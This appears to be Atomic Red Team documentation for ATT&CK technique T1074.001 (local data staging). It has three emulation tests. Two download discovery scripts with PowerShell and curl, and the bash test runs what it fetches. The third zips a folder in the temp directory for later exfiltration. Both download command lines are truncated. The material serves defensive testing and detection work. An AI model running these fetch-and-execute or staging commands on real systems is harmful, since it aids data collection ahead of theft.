T1074.001 - Local Data Staging

Description from ATT&CK

> Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.
> Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)

Atomic Tests

- Atomic Test #1 - Stage data from Discovery.bat
- Atomic Test #2 - Stage data from Discovery.sh

- Atomic Test #3 - Zip a Folder with PowerShell for Staging in Temp

Atomic Test #1 - Stage data from Discovery.bat

Utilize powershell to download discovery.bat and save to a local file. This emulates an attacker downloading data collection tools onto the host. Upon execution, verify that the file is saved in the temp directory.

Supported Platforms: Windows

auto_generated_guid: 107706a5-6f9f-451a-adae-bab8c667829f

Inputs:

Name	Description	Type	Default Value
output_file	Location to save downloaded discovery.bat file	Path	$env:TEMP\discovery.bat

Attack Commands: Run with `powershell`!

```
Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/m
```

Cleanup Commands:

```
Remove-Item -Force #{output_file} -ErrorAction Ignore
```

Atomic Test #2 - Stage data from Discovery.sh

Utilize curl to download discovery.sh and execute a basic information gathering shell script

Supported Platforms: Linux, macOS

auto_generated_guid: 39ce0303-ae16-4b9e-bb5b-4f53e8262066

Inputs:

Name	Description	Type	Default Value
output_file	Location to save downloaded discovery.bat file	Path	/tmp/T1074.001_discovery.log

Attack Commands: Run with `bash`!

```
curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomi
```

Atomic Test #3 - Zip a Folder with PowerShell for Staging in Temp

Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip was placed in the temp directory.

Supported Platforms: Windows

auto_generated_guid: a57fbe4b-3440-452a-88a7-943531ac872a

Inputs:

Name	Description	Type	Default Value
output_file	Location to save zipped file or folder	Path	$env:TEMP\Folder_to_zip.zip
input_file	Location of file or folder to zip	Path	PathToAtomicsFolder\T1074.001\bin\Folder_to_zip

Attack Commands: Run with `powershell`!

```
Compress-Archive -Path #{input_file} -DestinationPath #{output_file} -Force
```

Cleanup Commands:

```
Remove-Item -Path #{output_file} -ErrorAction Ignore
```